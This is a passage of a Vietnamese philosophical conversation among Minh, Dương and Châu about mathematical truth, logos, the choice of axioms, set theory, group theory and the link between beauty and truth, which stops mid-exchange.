Như thế, một sự thật toán học được tìm ra cũng giống như kết quả của phép đo: vừa mang tính chủ quan, vừa mang tính khách quan, biểu hiện ở chỗ: sự thật toán học là sản phẩm của quá trình tư duy của nhà toán học, nhưng lại nghiệm đúng một cách khách quan và vĩnh viễn sau khi đã được tìm ra? Câu hỏi còn lại là liệu sự thật toán học có mang tính xác suất – bất định như trong cơ học lượng tử?</div>
<div>
</div>
<div>
Và hơn nữa, là vì sao bằng tư duy – “phép đo” của mình – con người lại có thể tìm ra những sự thật toán học này?</div>
<div>
</div>
<div>
Em có linh cảm là việc tìm kiếm các sự thật toán học và phép đo trong cơ học lượng tử rất gần nhau. Nhưng chỉ là linh cảm thôi, chưa có bằng chứng gì cả.</div>
<div>
</div>
<div>
Còn về câu chuyện “tri thức khách quan”, thì đó không chỉ là tri thức có khách quan, mà còn là bản chất của tri thức, nguồn gốc và mối liên hệ của nó với thực tại. Tất nhiên điều này cũng sẽ dẫn đến câu hỏi thực tại là gì và mối liên hệ của nó với tri thức như thế nào, làm sao mà con người lại có thể nhận thức được chúng, nhận thức đó liệu có khách quan hay hoàn toàn chủ quan hay là hỗn hợp của hai thứ đó.</div>
<div>
</div>
<div>
Rõ ràng cuộc đối thoại này đã bước ra khỏi phạm vi của các sự thật toán học và tiến tới một lĩnh vực khác: bản chất của thực tại và mối liên hệ của nó với các biểu diễn toán học. Trước khi những kí hiệu và khái niệm toán học được phát minh ra thì các hệ thức toán học như chúng ta thấy bây giờ không tồn tại, nhưng các mối liên hệ của tự nhiên, như trái đất quay xung quanh mặt trời một vòng hết 365 ngày, vẫn tồn tại dù không được biểu diễn bởi các phương trình. Vấn đề đặt ra – hóc búa– là mối quan hệ của thực tại với các mô hình toán học thực sự là gì?</div>
<div>
</div>
<div>
Trong trường hợp này, sự thật toán học được chọn như một ví dụ của tri thức. Ngôn ngữ cũng là một ví dụ tốt để xem xét.</div>
<div>
</div>
<div>
Minh - Anh nhìn nhận Logos là cái tính năng tràn khắp vũ trụ, cho nên ta và con mèo hiểu nhau rất dễ, và cái trái cây khi chưa sẵn sàng để phát tán hạt thì vẫn giữ màu lá cây để tự vệ và khuyên nhủ các loài “hãy kệ tôi đã”.</div>
<div>
</div>
<div>
Riêng xem trong thế giới thực vật và sinh vật muôn loài, ta đã thấy muôn vàn các quá trình trao đổi thông tin, anh từng đặt chữ là “giao tin”, thực hiện được, vậy là dựa vào đâu? Vào tính logos phổ quát.</div>
<div>
</div>
<div>
“Sự thật toán học” được Dương nói đến ở trên đây như những kết quả được xây dựng từ những tiên đề toán học “qua một quá trình suy luận logic chặt chẽ”. Như thế chính ở đây ta thừa nhận hệ thống các thuộc tính-quan hệ logic như một hệ thống công cụ có tính tiền đề. </div>
<div>
</div>
<div>
“Sự thật logic” như vậy còn tồn tại “trước” cả “sự thật toán học”. “Trước” không phải về không gian, thời gian vật lý, mà về mặt.. logic!</div>
<div>
</div>
<div>
Chuyện vui, nếu nhà toán học lạc vào trong rừng mà gặp phải con hổ, con hổ sẽ hiểu nhà toán học hơn cả nhà toán học hiểu chính mình trong địa hạt này… Con hổ sẽ lừa cho nhà toán học toát mồ hôi, toát ngu muội, và nhà toán học chỉ còn biết trông chờ vào may mắn! Tại sao? Vì cả hai cùng với giới tự nhiên đều cùng chia sẻ cái logos phổ quát về không gian, thời gian, về nhân quả, về luận lý, và cả về tâm lý! Và con hổ thì hiểu logos của thánh địa của nó hơn nhà toán học, hiểu cả rằng nó nhanh nhẹn, mạnh mẽ, và khôn ngoan trong săn bắt hơn chính nhà toán học!</div>
<div>
</div>
<div>
Ý niệm về “Đạo” của Lão, Trang có gần gũi với Logos. Nhưng yếu kém của “Đạo” là chưa ý thức được cái năng lực siêu phàm trong cái thần của Logos, là dạng thức (forms) – ở ta hay dịch là “hình thức”, cái chữ dễ bị hiểu nhầm nôm na thành như “bề ngoài”. Nhờ hiểu biết về tầm quan trọng vô cùng của dạng thức mà các hiểu biết về logic và toán học phát triển được lên.</div>
<div>
</div>
<div>
Nghiên cứu về logic, theo mình thì không có cái gọi là môn “logic nội dung” chọi với “logic hình thức”! Đó chỉ là sự diễn nôm hời hợt. Chỉ có một môn logic, và đó chính là logic dạng thức. Các bộ môn nghiên cứu ứng dụng logic không phải là “logic khác”, mà là các nghiên cứu ứng dụng logic mở ra trong các miền tri thức, các ứng dụng này không phải là các lựa chọn khả thay thế. Ví dụ như “modal logic” là môn nghiên cứu ứng dụng về tình thái ngữ nghĩa trong ngôn ngữ…</div>
<div>
</div>
<div>
Phát hiện về dạng thức là nền tảng cho sự phát triển có tính xây dựng được của nền văn minh tinh thần! Khi bạn đang đọc bài trao đổi này, bạn không “đọc” một cuộc thảo luận nguyên trạng, mà đọc cái đã dạng thức hóa của nó qua các “nguyên tử” ký tự (chữ cái, gồm cả các dấu nghỉ, cảm thán, khoảng trắng, cùng “dấu xuống dòng”, dấu chuyển hồi đoạn, dấu chấm hết … gọi chúng là “nguyên tử” vì các nhân tố này là nhỏ nhất trong hệ thống, không còn chẻ ra tiếp được nữa) đã được cấu trúc hóa theo các qui tắc ngữ pháp. Nói theo logic, các ký tự hợp thành hệ thống các ký hiệu, và việc áp dụng hệ các qui tắc nối kết vào các ký hiệu làm nên các công thức (từ, liên từ, đoạn, câu…), chúng được cắt nghĩa và vận động trong một hệ thống luận suy. Xa xôi hơn, bạn đang đọc được một dãy mã hóa “sắc không”, “âm dương”, “0 và 1”, được đại diện bởi các xung điện. Và cuối cùng, chính bạn phải làm cả một cuộc cắt nghĩa toàn bộ dãy mã này trong văn hóa khoa học tiếng Việt để “cảm hiểu” bài trao đổi.</div>
<div>
</div>
<div>
Cũng cần nói rõ là cái ý niệm “sắc không”, “âm dương” trong triết học cổ phương Đông chỉ là một khởi điểm của ý tưởng về các đối cực, chứ không hề liên quan gì đến việc phát triển của khoa máy tính sau này. Vì để có ý tưởng mã hóa tất thảy các hiện tượng chỉ từ hai trạng thái để lợi dụng được các xung điện, phải hiểu ra và phát triển được cái logos “dạng thức”, phát triển logic, toán học để xây dựng nên được ngôn ngữ dạng thức và hệ thống các thuật toán, để rồi có thể công nghệ hóa, tự động hóa chúng. Dãy các trạng thái “0 và 1” còn phải chứa hệ thống các cấu trúc để cho phép gắn kết chúng như thế nào trong quá trình vào mã và giải mã các thông tin. Các nhà Đông học tuyệt đối không có gì để vơ quàng sĩ diện ở đây.</div>
<div>
Cái tiếp theo của câu chuyện nói ở trên là cái nhìn triết học về “khách quan- chủ quan”, “vật chất- tinh thần”.</div>
<div>
</div>
<div>
Ở ta lâu nay người ta nhìn vấn đề này không theo tầng tinh thần triết học, mà theo cảm hứng dân dã, “lập trường”. Nên nhìn nhận rất chân thành rằng ở ta không có căn bản truyền thống về tinh thần văn hóa triết học – logic.</div>
<div>
</div>
<div>
Câu chuyện vật chất – tinh thần, cái nào “có trước”, cần nói rõ là “có trước về mặt triết học-logic”, là vấn đề lựa chọn.</div>
<div>
</div>
<div>
Ví dụ khi bạn chấp nhận “vật chất có trước tinh thần”, bạn dùng cái gì để “xác nhận” nó ? Bạn dùng chính tinh thần bạn!</div>
<div>
</div>
<div>
Nếu bạn không dùng tinh thần của bạn để công nhận “vật chất có trước tinh thần”, thì bạn quả là siêu nhiên! Bạn lại dùng “tinh thần vũ trụ” chăng?</div>
<div>
</div>
<div>
Như vậy sự công nhận về sự tồn tại của thế giới bên ngoài, “có trước”, độc lập với tinh thần con người, là vấn đề phương pháp, vấn đề lựa chọn tiên đề, chứ không có và không thể có vấn đề “đúng sai” theo nghĩa triết học ở đây.</div>
<div>
</div>
<div>
Cái rắc rối tiếp theo là liệu có một cái “logos phổ quát bên ngoài tinh thần con người” hay không?</div>
<div>
</div>
<div>
Cái này cũng thuộc về tiên đề triết học nốt. Phải lựa chọn.</div>
<div>
</div>
<div>
Và nếu bạn muốn hiểu “sự thật logic”, “sự thật toán học” như một “tri thức khách quan” thì đó cũng là một lựa chọn.</div>
<div>
</div>
<div>
Tri thức tiến lên nhiều khi không phải chỉ do “lập luận thông minh đơn thuần”. Lập luận không làm tiến hóa hệ thống. Lập luận chỉ củng cố hoặc mở rộng hệ thống, nếu hệ thống tỏ ra vẫn chuẩn xác (chưa bị rơi vào tự mâu thuẫn), hoặc ngược lại làm nó lụi tàn, nếu hệ thống không chịu nổi các thử thách về logic. Tri thức tiến lên còn do sự quyết đoán lựa chọn, tiêu biểu là việc lựa chọn các tiên đề. Người biết lựa chọn các tiên đề tất nhiên không phải người tầm thường. Sự lựa chọn là một cách mở rộng hoặc đổi thay hệ thống với những rủi ro và đột biến tiến hóa.</div>
<div>
</div>
<div>
Einstein đã lựa chọn tiên đề tốc độ ánh sáng là tốc độ cực đại trong vũ trụ chẳng hạn, điều vượt quá đa phần các bộ óc con người (trong đó tất nhiên có mình ! ;-) ).</div>
<div>
</div>
<div>
Sự lựa chọn việc tồn tại “logos khách quan” cũng có những cơ sở của nó. Giản đơn nếu như nhà toán học mà quên cho con mèo ăn, thì con mèo sẽ biết làm cho nhà toán học phải hiểu ra bằng được điều đó và cho nó ăn mà thôi.</div>
<div>
</div>
<div>
Lựa chọn sự tồn tại “tri thức khách quan” không có nghĩa là bạn đã có nó! Mà bạn hy vọng có thể phát hiện ra nó, đạt được nó như những tri thức cơ sở. Hơn thế nữa, từ những tri thức cơ sở đó bạn có thể xây dựng những tri thức mới trong khi tuân thủ những “tri thức khách quan về logic” – những tri thức chưa bị bác bỏ được. Nhìn chung tri thức luôn có cả hai mặt phát hiện và sáng chế. Như cái công nghệ thông tin phục vụ bạn đây là thuộc về sáng chế, có thế ta mới xem được những bức ảnh chụp bề mặt sao Hỏa rõ mồn một.</div>
<div>
</div>
<div>
Tất nhiên bạn có thể chọn tiên đề “không có tri thức khách quan”.</div>
<div>
</div>
<div>
Lựa chọn chỉ là phương pháp. Bạn “tự do” trong lựa chọn. Vấn đề là sự lựa chọn đó đưa bạn đi đến đâu, bạn phải đảm trách sự lựa chọn của mình. Cho nên ý thức triết học nhắn ta phải luôn luôn sẵn sàng nhìn lại những tiên đề của mình.</div>
<div>
</div>
<div>
Tam giác triết học – logic – toán học thật hấp dẫn và trong tầng sâu thẳm chúng trộn vào nhau. Hãy xem vài trường hợp sau:</div>
<div>
</div>
<div>
Lý thuyết tập hợp hình thành là một sự cộng sinh tuyệt đẹp của triết học, logic và toán học.</div>
<div>
</div>
<div>
Tỉ như dãy số tự nhiên 0,1,2…n… thực ra không hề “tự nhiên”, mà lần đầu tiên được xây dựng và cắt nghĩa hoàn chỉnh qua các khái niệm triết học-logic-toán học trong lý thuyết tập hợp.</div>
<div>
</div>
<div>
Tập rỗng là tập không chứa phần tử nào, ký hiệu “tập 0”. Đây là một tiên đề có tính triết học về mối tương sinh của tồn tại-hư vô, về “khởi thủy”. Không thể tranh luận gì được ở đây.</div>
<div>
</div>
<div>
Tập chứa đơn thuần tập rỗng, kí hiệu “tập 1”.</div>
<div>
</div>
<div>
Tập chứa “tập 0” và “tập 1”, ký hiệu “tập 2”, v.v.</div>
<div>
</div>
<div>
Và như thế ta có một dãy trật tự hóa, mỗi yếu tố trong dãy này là một tập hợp mà các phần tử của mình chính là tất cả các yếu tố- tập hợp đứng trước nó.</div>
<div>
</div>
<div>
Vui chuyện, ta có thể tự an ủi rằng cái ý thức của cá nhân mình khi chưa hình thành thì là một tập rỗng. Dần dà nó phát triển lên thật phong phú. Còn khi ta ra đi, ý thức của ta lại trở về là tập rỗng.</div>
<div>
</div>
<div>
Hay lấy một ví dụ khác, một quan hệ logic thuần, đơn giản hóa.</div>
<div>
</div>
<div>
Cho A, B, C,…Z là những thành tố của một tập hợp “đồng chất” (cùng một lĩnh vực).</div>
<div>
</div>
<div>
“Tính bắc cầu” là một quan hệ logic, ký hiệu R, được hiểu: R(A, B) & R(B, C) à R(A, C). Nghĩa là nếu quan hệ bắc cầu tồn tại giữa A và B, và nếu quan hệ bắc cầu đó cũng tồn tại giữa B và C thì ta có quan hệ bắc cầu này giữa A và C.</div>
<div>
</div>
<div>
Bây giờ nếu ta có thêm R(C, D) thì ta sẽ có R(A, D), vì ở trên ta đã có R(A,C). Phép chứng minh là một phép co rút hay quy giản tìm được khi áp dụng liên tục các quy tắc suy luận xác thực trên dãy các tiên đề và công thức đã được chứng minh: R(A, B) & R(B, C) à R(A, C); R(A, C) & R(C,D) à R(A, D).</div>
<div>
</div>
<div>
Vậy khi phải tính toán, nếu có R(A,B) & R(B,C) & R(C,D) & … & R(Y,Z) thì R(A,Z) có tồn tại hay không, công việc logic này đã thành công việc của toán học. Để gửi cái e-mail từ Chử Đồng Tử tới Tiên Dung, tri thức logic-toán học đã khách quan hóa trong các phần mềm ở các máy chủ sẽ tính xem gửi các gói thông tin này qua các nút máy nào để tính bắc cầu được thực hiện hiệu quả nhất.</div>
<div>
</div>
<div>
Và ở chỗ này, bằng chứng của sự lựa chọn “tri thức khách quan” là sức mạnh hiển nhiên: tri thức logic-toán học ở con người đã được chuyển ra ngoài, đây chính là nội dung của khái niệm “tha hóa” mà mình đã từng nói tới, chuyển thành “tri thức khách quan”, hoạt động tự động trong các máy tính! Đó chính là giá trị của sự lựa chọn triết học! Ngày mai bạn có thể được phẫu thuật bằng máy móc điều khiển do một bác sĩ ở phần bên kia địa cầu thông qua internet, và bạn đành phải tin vào tri thức khách quan nằm giữa bạn và ông bác sĩ!</div>
<div>
</div>
<div>
Cũng từ đây cho ta thấy cải cách và tiến bộ xã hội là có thể, vì tri thức, trong đó có các lý tưởng nhân văn xác quyết, có thể dần chuyển được ra “xã hội bên ngoài”, làm nên nền văn minh. Và kết thúc được cái xã hội chủ quan luẩn quẩn “con rắn cắn đuôi”, mãi mãi làm lại từ đầu!</div>
<div>
</div>
<div>
“Sự thật” hay “chân lý” về mặt triết học-logic là như sau: một biểu đạt, một hệ thống các biểu đạt (hay công thức), rộng nữa là một lý thuyết, có thỏa mãn bảng giá trị chân lý hay không.</div>
<div>
</div>
<div>
Nhưng bản thân cái bảng giá trị này, sâu xa về triết học-logic, thì lại không liên quan gì đến chân lý! Nó có đó do sự lựa chọn. Giống như các tiên đề vậy. Như thế chính triết học luôn cảnh tỉnh ta về sự lựa chọn của mình, thay vì băn khoăn và mắc tóc trong chính sự không ý thức về những lựa chọn đã được thực hiện.</div>
<div>
</div>
<div>
Về văn hóa thì chuyện này lại càng thú vị nữa. Con người lớn lên và được tắm trong cả “một biển các giá trị chân lý mẹ truyền”! Không có tư duy triết học, con người loay hoay mắc tóc trong đó đời này sang đời khác, đặt những câu hỏi không vào sâu được hơn cái lớp bao bì chân lý mẹ truyền này, và như ta thường hay thấy, người ta tấm tắc “các cụ nói cấm câu nào sai”! Nếu bạn để ý một chút thôi, thì cái biển chân lý này bao giờ cũng chứa tất cả các mệnh đề trái ngược nhau, tỉ như “một giọt máu đào, hơn một ao nước lã” chọi với “bán anh em xa, mua láng giềng gần”. Các lý thuyết cai trị cổ hủ cũng thường rơi vào tình huống này, do vừa cố mở rộng độ biên của ứng dụng, vì đời sống phong phú lên, lại vừa cố bảo trì các tiền đề cũ kĩ. Một cộng đồng muốn tiến lên, phải làm một cuộc tổng kiểm kê về cái bảng các giá trị này, để mà mình ý thức về chúng, để mà mình sẵn sàng được cảnh tỉnh về chúng, để mà mình có thể thay đổi chúng. Việc này không hề dễ tí nào, tương tự như việc quả táo rơi xuống đất tưởng đã hiển nhiên là chân lý, mà hóa ra lại chỉ là một nửa chân lý như Newton đã nhìn ra!</div>
<div>
</div>
<div>
Trong tương quan với các lĩnh vực cụ thể, các quan hệ logic như thế nằm ở tầm “cao hơn chân lý”, “trước chân lý” của những lĩnh vực đó… luôn luôn về mặt logic thôi. Về hình ảnh các quan hệ logic đã dạng thức hóa này tồn tại “trước” khi bị “nhúng vào” trong “các trường nhất định”, “các cư dân nhất định”. Ta tạm gọi các quan hệ này «ở ngoài vật thể” hay “trước vật thể”, chú ý, theo nghĩa… logic!</div>
<div>
</div>
<div>
Ví dụ quan hệ logic bắc cầu đã nói trên kia R: R(A, B) & R(B, C) à R(A, C) là một dạng thức quan hệ logic thuần.</div>
<div>
</div>
<div>
Chỉ khi “nhúng” quan hệ này vào các “trường sự vật» cụ thể, ở đó mới đẻ ra vấn đề chân lý cụ thể, hay gọi là vấn đề cắt nghĩa trên “một trường sự vật”.</div>
<div>
</div>
<div>
Trong cái thế giới sự vật “hệ thống tàu điện”, tính bắc cầu này thỏa mãn chân lý.</div>
<div>
</div>
<div>
Trong lĩnh vực “yêu mến”, tính bắc cầu không bắt buộc thỏa mãn chân lý. A yêu mến B, B yêu mến C, không tất yếu A yêu mến C. Ở đây việc triển khai tính bắc cầu mang tính bất định, “có thể bị bác bỏ”.</div>
<div>
</div>
<div>
Lưu ý rằng tính bắc cầu không nhất thiết thỏa mãn chân lý trong lĩnh vực “yêu mến”, không có nghĩa là tính bắc cầu “sai” về logic thuần túy. Chuyện đó không có nghĩa. Nói thế để ta thấy rõ hơn tầng logic nằm “trước và ngoài” tầng các sự vật cụ thể.</div>
<div>
</div>
<div>
Nói chuyện nhiều khi một xã hội Á Đông cứ loay hoay tranh cãi hàng ngàn năm rằng cái “mô hình” xã hội Nghiêu Thuấn “vua sáng tôi hiền, nhà nhà đi ngủ không phải đóng cửa, người người ra đường không ai nhặt của rơi” tự nó đúng hay sai? Câu hỏi đó vô nghĩa và vô ích về mặt vận hành xã hội. Hãy gác việc phân tích kinh viện cái “mô hình” siêu giản siêu thuần túy đó sang một bên, chưa cần thiết. Hãy cắt nghĩa khi áp dụng cái mô hình “logic” đó vào xã hội ở thời điểm lịch sử nhất định, ta đã có tư liệu lịch sử hàng ngàn năm rồi, xem nó có đảm bảo đưa lại thái bình no đủ vui tươi bền vững hay không ? Nếu là “không”, thì nó là sai theo bảng giá trị được chờ đợi trong cái trường lịch sử đó, và ta không phải lo lựa chọn nó.</div>
<div>
</div>
<div>
Vấn đề Dương có thể đẩy lên thú vị hơn nữa, là Logos có tồn tại độc lập được với vật thể không? Ví dụ với các lực hấp dẫn đã được tính toán đó, sự tồn tại của bản thân các vật thể có còn là bắt buộc không, hay các vật thể chỉ còn là sự thể hiện và mách bảo cho ta cái Logos. Các công thức tính toán theo nghĩa nào đó đã được “phi vật thể hóa”. Nhà thiết kế một tòa nhà nay có các tri thức khách quan đã được “tha hóa”, chuyển hóa ra và nằm sẵn trong phần mềm máy tính, và anh ta có thể chọn vật liệu xây dựng sau cùng cũng được, miễn là các vật liệu đó thỏa mãn mô hình logic-toán đã được xác quyết bằng các công thức đã được cài đặt trong phần mềm, chúng cho thấy thỏa mãn các tiêu chí được chờ đợi (bảng các giá trị) về độ bền vững, an toàn, giá trị thẩm mỹ, tiện nghi, môi trường, bảo trì, thương mại…</div>
<div>
</div>
<div>
Trong lập trình công nghệ tin học, một chương trình được viết thông minh là chương trình độc lập cao với dữ liệu, và nó chứa đựng hệ thống xử lý thông minh và khả năng giao tiếp phong phú. Khi phải ứng dụng cho các hoạt động khác nhau, ta mới cho nó giao tiếp với hệ thống các thông số của các lĩnh vực hoạt động liên quan, để nó tìm ra các ứng xử thích hợp cho các đối tượng của các lĩnh vực đó…</div>
<div>
</div>
<div>
Châu – Mình đồng ý là đem cọ sát các cách suy nghĩ khác nhau từ Triết, Toán đến Vật lý có thể đưa ta đi xa. Nhưng theo kinh nghiệm, ánh sáng không lóe ra từ cái cách áp đặt máy móc mô hình suy nghĩ của bên này qua bên kia. Ánh sáng luôn lóe ra từ những sự tương đồng tinh tế, mà mình phải thực sự tìm thì mới thấy. Những điểm tinh tế đó thường là nằm ở dưới lớp vỏ của ngôn ngữ.</div>
<div>
</div>
<div>
Sự hình thành của khái niệm nhóm trong toán rất đáng để suy nghĩ từ quan điểm Triết học. Mình có viết nhiều mẩu trên blog về chuyện này nhưng ít ai để ý.</div>
<div>
</div>
<div>
Định nghĩa của nhóm đơn giản đến mức có thể làm những người tò mò thất vọng. Nó mô phỏng các biến đổi nội tại của một đối tượng. Hai biến đổi có thể “hợp thành với nhau”, nhưng biến đổi A xảy ra trước biến đổi B kết hợp lại sẽ khác với khi biến đổi B xảy ra trước biến đổi A. Ngoài ra thì mọi biến đổi đểu nghịch đảo được, tức là có một biến đổi theo chiều ngược lại. Các tiên đề về nhóm đại khái chỉ có vậy.</div>
<div>
</div>
<div>
Ví dụ cơ bản là các thao tác trên khối rubik. Có thao tác A là quay mặt bên trái một góc 90 độ, có một thao tác B là quay mặt trên một góc 90 độ. Có hai thao tác hợp thành A rồi B và B rồi A. Ngoài ra thì có thao tác nghịch đảo của A, nghĩa là quay mặt bên trái một góc 90 độ theo chiều ngược lại so với A.</div>
<div>
</div>
<div>
Nhóm các thao tác trên rubik là một nhóm hữu hạn nhưng có rất nhiều phần tử và khá phức tạp. Vì thế mà khi ta xem hướng dẫn cách quay rubik, nói chung mình chỉ biết chấp hành thôi, còn không hiểu tại sao phải làm như thế. Muốn hiểu phải nghiên cứu tường tận cấu trúc của nhóm này.</div>
<div>
</div>
<div>
Bên cạnh các nhóm hữu hạn, rộng hơn là các nhóm rời rạc, ta còn có các nhóm liên tục.</div>
<div>
</div>
<div>
Điển hình là nhóm các phép dời trong không gian. Hình học cổ điển có thể biên soạn lại dưới ngôn ngữ của nhóm các phép dời hình trong mặt phẳng hoặc trong không gian. Đó chính là quan điểm của hình học hiện đại. Lý thuyết phương trình đại số một ẩn số được Galois giải thích một cách thấu đáo bằng lý thuyết nhóm Galois. Một trong những cố gắng chính của lý thuyết số hiện đại là mở rộng lý thuyết Galois ra hệ phương trình đại số nhiều ẩn số. Langlands tiên đoán một sự liên quan mật thiết đến các dạng automorphic mà khởi thủy là một nhóm con rời rạc trong một nhóm liên tục. Trong vật lý lý thuyết, Gell-Mann tiên đoán sự tồn tại của một hạt cơ bản dựa vào danh sách các biểu diễn của nhóm Lie.</div>
<div>
</div>
<div>
Khái niệm nhóm có vẻ như một cấu trúc đại số đơn giản thuận tiện, rất khó lý giải ảnh hưởng sâu rộng của nó đến hiểu biết chung của con người.</div>
<div>
</div>
<div>
Minh – Nhân Châu nói đến vụ cái rubik thấy hấp dẫn quá, nên bàn thêm mấy câu thế này:</div>
<div>
</div>
<div>
Tư duy là quá trình Lập Luận, Lập và Luận. Lập Luận xoay vòng nối tiếp nhau. Lập là lựa chọn, là quyết định, là hướng định. Lập khởi thủy là hệ thống các tiên đề, các ký hiệu, các qui tắc kết nối, các quy tắc thao tác, cùng một hệ thống ngữ nghĩa, làm nên một lý thuyết. Luận là quá trình thao tác kết nối, chuyển tải, sinh thành các Lập mới sao cho hợp thức (“không vi hiến”). Toàn bộ dòng này chảy dẫn từ Tiên đề đến Kết luận (Kết luận là một Lập đạt được cuối cùng của một chu trình). Dòng chảy này đa trị, nên có phép chứng minh hay thì có thể rất ngắn, hoặc phép chứng minh kém hay thì có thể siêu dài. Ví dụ về tập hợp các thao tác trên khối rubik của Châu rất hay cho trường hợp này: có người xoay rất nhanh ăn, người khác lâu ăn, riêng mình có thể xoay rubik cả đời không đi đến đâu cả, nhưng không hề phạm một lỗi logic nào! ;-).</div>
<div>
</div>
<div>
Trong một lĩnh vực tri thức cụ thể, xuất phát từ Hệ tiên đề mà đạt đến Kết luận mang tính bất định (ví dụ lý thuyết «tính bắc cầu của lòng yêu mến” đưa đến các kết quả “lúc có, lúc nhất định không»), thậm chí mâu thuẫn, sẽ buộc ta phải xem xét lại, bổ sung hoặc thay đổi lý thuyết trong lĩnh vực tri thức đó. Logic chỉ đóng vai trò tư pháp, đảm nhiệm tính hợp pháp của quá trình Luận và của các Lập được sinh thành (ví dụ một công thức mới thu được như kết quả chứng minh hợp pháp thu được từ quá trình Luận). Còn tính chân lý nằm ở trong nội dung các Lập, được cắt nghĩa bởi bảng các giá trị chân lý có được do các kinh nghiệm, thực nghiệm, kiến thức khoa học đã xác tín (tương đối) và/hay các lựa chọn lý tưởng nhân văn xác quyết. Tính chân lý trong trường hợp khối rubik trên kia có thể được định nghĩa trong bảng giá trị như sau: “ở mọi trạng thái ban đầu, ta luôn luôn sẽ có cách đưa khối rubik về trạng thái mà mỗi mặt chỉ có một màu, bằng cách chỉ áp dụng các thao tác cho phép”, như Châu đã nói ở trên.</div>
<div>
</div>
<div>
Dương – Như vậy là ở đây có một số vấn đề cần làm rõ hơn:</div>
<div>
</div>
<div>
1. Một lý thuyết mô tả những biến đổi nội tại trở nên rất mạnh khi mô tả thực tại (reality), nên thực tại phải có cấu trúc nội tại và sự biến đổi của thực tại là do những biến đổi nội tại gây ra?</div>
<div>
</div>
<div>
2. Không thể có một kết cục tất yếu cho sự vận động của một thực tại, vì kết cục phụ thuộc vào cách thức và thứ tự của từng biến đổi riêng rẽ. Phán đoán ở mức tốt nhất chỉ là phán đoán thống kê, không thể là phán đoán tất định?</div>
<div>
</div>
<div>
3. Cơ sở cho những tiên đoán như của Gell-Mann là gì? Có phải đó chỉ là sự tự hoàn thiện, đối xứng, tao nhã…, những tiêu chí của cái Đẹp. Như vậy cái Đẹp (Beauty) và cái Thật (Truth) có quan hệ gì? Một lý thuyết đẹp và mô tả xác thực thường được coi là tốt. Vậy Đẹp, Thật, Tốt (Chân-Thiện-Mỹ) có quan hệ gì với nhau? Hay ba cái này là một.Và như thế, có tồn tại một bộ quy luật chung cho Mỹ học và Đạo đức như cho Khoa học? Thực ra, đây là một câu hỏi rất cũ, nhưng đến giờ vẫn chưa có câu trả lời thỏa đáng.</div>
<div>
</div>
<div>
Châu – Mình có một lý thuyết như thế này, có thể là hơi hàm hồ.</div>
<div>
</div>
<div>
Có rất nhiều yếu tố khác nhau để tạo nên cái đẹp. Một yếu tố là tính vừa đủ: không thiếu, đặc biệt là không thừa.</div>
<div>
</div>
<div>
Phải chăng thiên nhiên tuân theo nguyên tắc tiết kiệm, không chỉ tiết kiệm năng lượng, mà còn tiết kiệm cả thông tin nữa. Vì thế ngôn ngữ để mô tả nó cũng phải thỏa mãn tính tiết kiệm thông tin.</div>
<div>
</div>
<div>
Cái đẹp có một lợi thế khác nữa trong quá trình phát triển của tri thức, cái đẹp dễ được tiếp thu hơn. Cái gì xấu xí, nhưng có giá trị, thường sẽ được con người gọt rũa cho đến khi nó trở thành đẹp. Cái gì giữ mãi cái vỏ xấu xí của mình sẽ có nhiều cơ hội để rơi vào lãng quên.</div>
<div>
</div>
<div>
Dương – Lý thuyết của anh không “hàm hồ” chút nào, mà ngược lại, “cực kỳ tao nhã” (cười).</div>
<div>
</div>
<div>
Chẳng phải Einstein từng nói: một lý thuyết cần “simple, but not simpler” thì cũng hàm ý không thiếu không thừa.</div>
<div>
</div>
<div>
Nhân vật Hòa Thân trong phim Tể tướng Lưu gù một thời làm mưa làm gió trên phim truyền hình (Việt Nam, còn ở Trung Quốc thì không rõ) miêu tả một cô gái đẹp cho vua Càn Long như sau: cô ấy đẹp đến nỗi nếu bớt một chút thì thiếu, mà thêm một chút thì thừa. Càn Long (tay chơi có số) nghe đến đó thì cười tít mắt. Theo lý thuyết này, giám khảo của các cuộc thi sắc đẹp bây giờ, nếu thấy thí sinh có sẹo ở chân chẳng hạn, có lẽ nên nói cái sẹo ở đó là thừa thay vì thay vì chê bai thí sinh.</div>
<div>
</div>
<div>
Như vậy xem ra nhận định của Đông Tây kim cổ đều có nét tương đồng.</div>
<div>
</div>
<div>
Giờ nghiêm túc hơn một chút nhé:</div>
<div>
</div>
<div>
Trong vật lý cổ điển, khi năng lượng có vai trò chủ đạo thì Nguyên tắc hoạt động tối thiểu (Principle of least action) có vai trò quan trọng tương ứng. Vậy nếu coi tự nhiên (universe), ở mức cơ bản nhất, được tạo bởi thông tin (hiện có rất nhiều nhà vật lý theo giả thiết này) thì Nguyên tắc tiết kiệm thông tin (Principle of least information – PLI) cũng sẽ có vai trò tương tự. Liệu có thể tìm cách kiểm chứng PLI ở những chỗ này chăng (với sự dè dặt rất lớn)? Trường hấp hẫn: theo cách giải thích thường thấy thì vật chất làm cong không gian, độ cong đó chính là hấp dẫn. Vậy có thể nhìn cách khác: không gian là lưới thông tin; độ cong của không gian chính là mật độ thông tin. Như vậy, ở mức cơ bản nhất, không gian, và rộng ra là cả vũ trụ, được cấu tạo bởi thông tin. Chỗ nào có mật độ thông tin lớn thì vật chất tụ lại tương ứng. Ánh sáng cũng như mọi vật chuyển động theo đường trắc địa không phải vì hấp dẫn mà đơn giản là dòng chảy tự nhiên của thông tin theo cách tương thích nhất với thông tin nền mà nó tiếp xúc (không gian). Sự lượng tử hóa không gian sẽ là một hệ quả tất yếu. Nhưng thời gian thì sao? Hoặc trong Vật lý lỗ đen, khi các bit thông tin phủ kín chân trời lỗ đen chứ không phải là toàn bộ thể tích lỗ đen thì đây có thể coi là hệ quả của nguyên tắc “không thiếu không thừa”? Vậy liệu có thể dùng PLI để đạt lại những kết quả như của họ? Tiếc là không có một nhà Vật lý lý thuyết ở đây để thảo luận vấn đề này.</div>
<div>
</div>
<div>
Minh – Anh chen một tý vào chuyện cái đẹp thế này.</div>
<div>
</div>
<div>
Cái đẹp có một khía cạnh đặc biệt, là nó liên quan đến cảm xúc của con người.</div>
<div>
“Tri thức khách quan” không thể thống trị ở đây hoàn toàn được.</div>
<div>
</div>
<div>
Cái đẹp của mối tình mới chớm đến, khác với cái đẹp của mối tình dứt áo ra đi.</div>
<div>
</div>
<div>
